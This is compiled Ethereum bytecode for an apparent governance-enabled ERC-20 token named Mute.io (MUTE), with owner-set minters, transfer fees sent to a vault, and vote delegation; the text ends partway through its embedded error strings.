0x608060405234801561001057600080fd5b506004361061021c5760003560e01c80638129fc1c11610125578063b90306ad116100ad578063ccb75d7f1161007c578063ccb75d7f14610b99578063dd62ed3e14610bbb578063e6c1909b14610c33578063e7a324dc14610c53578063f1127ed814610c715761021c565b8063b90306ad14610a7c578063ba6047f414610ac0578063c3cda52014610af2578063ca65d3fa14610b6b5761021c565b8063a1bd2a66116100f4578063a1bd2a66146108ce578063a457c2d714610902578063a9059cbb14610966578063b4b5ea57146109ca578063b8337daf14610a225761021c565b80638129fc1c146107c95780638da5cb5b146107d357806395d89b4114610807578063983b2d561461088a5761021c565b806339509351116101a85780636fcfff45116101775780636fcfff451461061557806370a0823114610673578063782d6fe1146106cb5780637c78421c1461072d5780637ecebe00146107715761021c565b806339509351146104af578063587cde1e146105135780635c19a95c146105815780636aea7bf7146105c55761021c565b806320606b70116101ef57806320606b701461038a57806323b872dd146103a85780633092afd51461042c57806330fd85d314610470578063313ce5671461048e5761021c565b806306fdde0314610221578063095ea7b3146102a45780630f6798a51461030857806318160ddd1461036c575b600080fd5b610229610ce6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561026957808201518184015260208101905061024e565b50505050905090810190601f1680156102965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102f0600480360360408110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d88565b60405180821515815260200191505060405180910390f35b6103546004803603604081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d9f565b60405180821515815260200191505060405180910390f35b61037461102b565b6040518082815260200191505060405180910390f35b610392611035565b6040518082815260200191505060405180910390f35b610414600480360360608110156103be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611059565b60405180821515815260200191505060405180910390f35b61046e6004803603602081101561044257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611124565b005b61047861127c565b6040518082815260200191505060405180910390f35b610496611282565b604051808260ff16815260200191505060405180910390f35b6104fb600480360360408110156104c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611299565b60405180821515815260200191505060405180910390f35b6105556004803603602081101561052957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061133e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105c36004803603602081101561059757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a6565b005b610613600480360360408110156105db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506113b3565b005b6106576004803603602081101561062b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d1565b604051808263ffffffff16815260200191505060405180910390f35b6106b56004803603602081101561068957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f4565b6040518082815260200191505060405180910390f35b610717600480360360408110156106e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153d565b6040518082815260200191505060405180910390f35b61076f6004803603602081101561074357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fe565b005b6107b36004803603602081101561078757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a05565b6040518082815260200191505060405180910390f35b6107d1611a1d565b005b6107db611bbb565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61080f611be5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561084f578082015181840152602081019050610834565b50505050905090810190601f16801561087c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108cc600480360360208110156108a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c87565b005b6108d6611ddf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61094e6004803603604081101561091857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e05565b60405180821515815260200191505060405180910390f35b6109b26004803603604081101561097c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ec4565b60405180821515815260200191505060405180910390f35b610a0c600480360360208110156109e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b6040518082815260200191505060405180910390f35b610a6460048036036020811015610a3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb1565b60405180821515815260200191505060405180910390f35b610aa860048036036020811015610a9257600080fd5b8101908080359060200190929190505050611fd1565b60405180821515815260200191505060405180910390f35b610af060048036036020811015610ad657600080fd5b81019080803561ffff169060200190929190505050612218565b005b610b69600480360360c0811015610b0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff16906020019092919080359060200190929190803590602001909291905050506122fb565b005b610b9760048036036020811015610b8157600080fd5b810190808035906020019092919050505061265f565b005b610ba161272c565b604051808261ffff16815260200191505060405180910390f35b610c1d60048036036040811015610bd157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612740565b6040518082815260200191505060405180910390f35b610c3b6127c7565b60405180821515815260200191505060405180910390f35b610c5b6127da565b6040518082815260200191505060405180910390f35b610cc360048036036040811015610c8757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff1690602001909291905050506127fe565b604051808363ffffffff1681526020018281526020019250505060405180910390f35b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d7e5780601f10610d5357610100808354040283529160200191610d7e565b820191906000526020600020905b815481529060010190602001808311610d6157829003601f168201915b5050505050905090565b6000610d9533848461283f565b6001905092915050565b600060011515600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610dfe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a206d696e7420746f20746865207a65726f2061646472657373000081525060200191505060405180910390fd5b610f0b60008060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a36565b610f5d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cd390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb582600654612cd390919063ffffffff16565b6006819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600654905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000611066848484612d5b565b61111984336111148560405180606001604052806027815260200161412460279139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138029092919063ffffffff16565b61283f565b600190509392505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a3a4f6e6c794f776e65723a204e6f7420746865206f776e6572000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d5481565b6000600960009054906101000a900460ff16905090565b6000611334338461132f85600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cd390919063ffffffff16565b61283f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6113b033826138c2565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a3a4f6e6c794f776e65723a204e6f7420746865206f776e6572000081525060200191505060405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60026020528060005260406000206000915054906101000a900463ffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000438210611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061404c6026913960400191505060405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1614156116045760009150506118f8565b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116116ee57600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101549150506118f8565b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561176f5760009150506118f8565b6000806001830390505b8163ffffffff168163ffffffff161115611892576000600283830363ffffffff16816117a157fe5b04820390506117ae613f6d565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff16141561186a578060200151955050505050506118f8565b86816000015163ffffffff1610156118845781935061188b565b6001820392505b5050611779565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a3a4f6e6c794f776e65723a204e6f7420746865206f776e6572000081525060200191505060405180910390fd5b80600960036101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915090505481565b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ac4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260378152602001806141906037913960400191505060405180910390fd5b33600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600781526020017f4d7574652e696f0000000000000000000000000000000000000000000000000081525060079080519060200190611b50929190613f8d565b506040518060400160405280600481526020017f4d5554450000000000000000000000000000000000000000000000000000000081525060089080519060200190611b9c929190613f8d565b506012600960006101000a81548160ff021916908360ff160217905550565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c7d5780601f10611c5257610100808354040283529160200191611c7d565b820191906000526020600020905b815481529060010190602001808311611c6057829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a3a4f6e6c794f776e65723a204e6f7420746865206f776e6572000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611d8457600080fd5b6001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611eba3384611eb58560405180606001604052806024815260200161407260249139600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138029092919063ffffffff16565b61283f565b6001905092915050565b6000611ed1338484612d5b565b6001905092915050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611f45576000611fa9565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612075576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4d7574653a206275726e2066726f6d20746865207a65726f206164647265737381525060200191505060405180910390fd5b6120df6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600084612a36565b61214b8260405180606001604052806021815260200161402b60219139600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138029092919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121a382600654613a3190919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a3a4f6e6c794f776e65723a204e6f7420746865206f776e6572000081525060200191505060405180910390fd5b80600960016101000a81548161ffff021916908361ffff16021790555050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866612326610ce6565b80519060200120612335613a7b565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156124b9573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561254b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806140b76026913960400191505060405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505589146125f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061416e6022913960400191505060405180910390fd5b87421115612649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061423f6026913960400191505060405180910390fd5b612653818b6138c2565b50505050505050505050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4d7574653a3a4f6e6c794f776e65723a204e6f7420746865206f776e6572000081525060200191505060405180910390fd5b80600d8190555050565b600960019054906101000a900461ffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960179054906101000a900460ff1681565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6001602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061414b6023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561294b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806140966021913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612a725750600081115b15612cce57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612ba2576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611612b15576000612b79565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000612b908483613a3190919063ffffffff16565b9050612b9e86848484613a88565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612ccd576000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611612c40576000612ca4565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000612cbb8483612cd390919063ffffffff16565b9050612cc985848484613a88565b5050505b5b505050565b600080828401905083811015612d51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612de1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806141c76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e67576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141026022913960400191505060405180910390fd5b60011515600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480612eda57506000600960019054906101000a900461ffff1661ffff16145b80612f105750600d54612f0e600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114f4565b115b1561326557612f81816040518060600160405280602581526020016140dd60259139600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138029092919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54612ff2600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff166114f4565b111561309f57600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663228cb7336040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561306257600080fd5b505af1158015613076573d6000803e3d6000fd5b505050506040513d602081101561308c57600080fd5b8101908080519060200190929190505050505b6130f181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cd390919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fb6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612a36565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36137fd565b60006132a16064613293600960019054906101000a900461ffff1661ffff1685613d1c90919063ffffffff16565b613da290919063ffffffff16565b905060006132b88284613a3190919063ffffffff16565b90506132cd8183612cd390919063ffffffff16565b8314613341576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4d7574653a206d6174682069732062726f6b656e00000000000000000000000081525060200191505060405180910390fd5b6133ad836040518060600160405280602581526020016140dd60259139600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138029092919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061344281600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cd390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354c6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612a36565b6135c08260046000600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cd390919063ffffffff16565b60046000600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061370e6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600080600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612a36565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600960039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505b505050565b60008383111582906138af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613874578082015181840152602081019050613859565b50505050905090810190601f1680156138a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000613930846114f4565b9050826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4613a2b828483612a36565b50505050565b6000613a7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613802565b905092915050565b6000804690508091505090565b6000613aac4360405180606001604052806033815260200161420c60339139613dec565b905060008463ffffffff16118015613b4157508063ffffffff16600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15613bb25781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060010181905550613cbf565b60405180604001604052808263ffffffff16815260200183815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff1602179055506020820151816001015590505060018401600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051808381526020018281526020019250505060405180910390a25050505050565b600080831415613d2f5760009050613d9c565b6000828402905082848281613d4057fe5b0414613d97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806141eb6021913960400191505060405180910390fd5b809150505b92915050565b6000613de483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613ea7565b905092915050565b600064010000000083108290613e9d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613e62578082015181840152602081019050613e47565b50505050905090810190601f168015613e8f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b60008083118290613f53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613f18578082015181840152602081019050613efd565b50505050905090810190601f168015613f455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613f5f57fe5b049050809150509392505050565b6040518060400160405280600063ffffffff168152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613fce57805160ff1916838001178555613ffc565b82800160010185558215613ffc579182015b82811115613ffb578251825591602001919060010190613fe0565b5b509050614009919061400d565b5090565b5b8082111561402657600081600090555060010161400e565b509056fe4d7574653a206275726e20616d6f756e7420657863656564732062616c616e6365476f763a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644d7574653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4d7574653a20617070726f766520746f20746865207a65726f20616464726573734d7574653a3a64656c656761746542795369673a20696e76616c6964207369676e61747572654d7574653a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d7574653a207472616e7366657220746f20746865207a65726f20616464726573734d7574653a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654d7574653a20617070726f76652066726f6d20746865207a65726f20616464726573734d7574653a3a64656c656761746542795369673a20696e76616c6964206e6f6e63654d7574653a3a496e697469616c697a653a20436f6e74726163742068617320616c7265616479206265656e20696e697469616c697a65644d7574653a207472616e736665722066726f6d20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77476f763a3a5f7772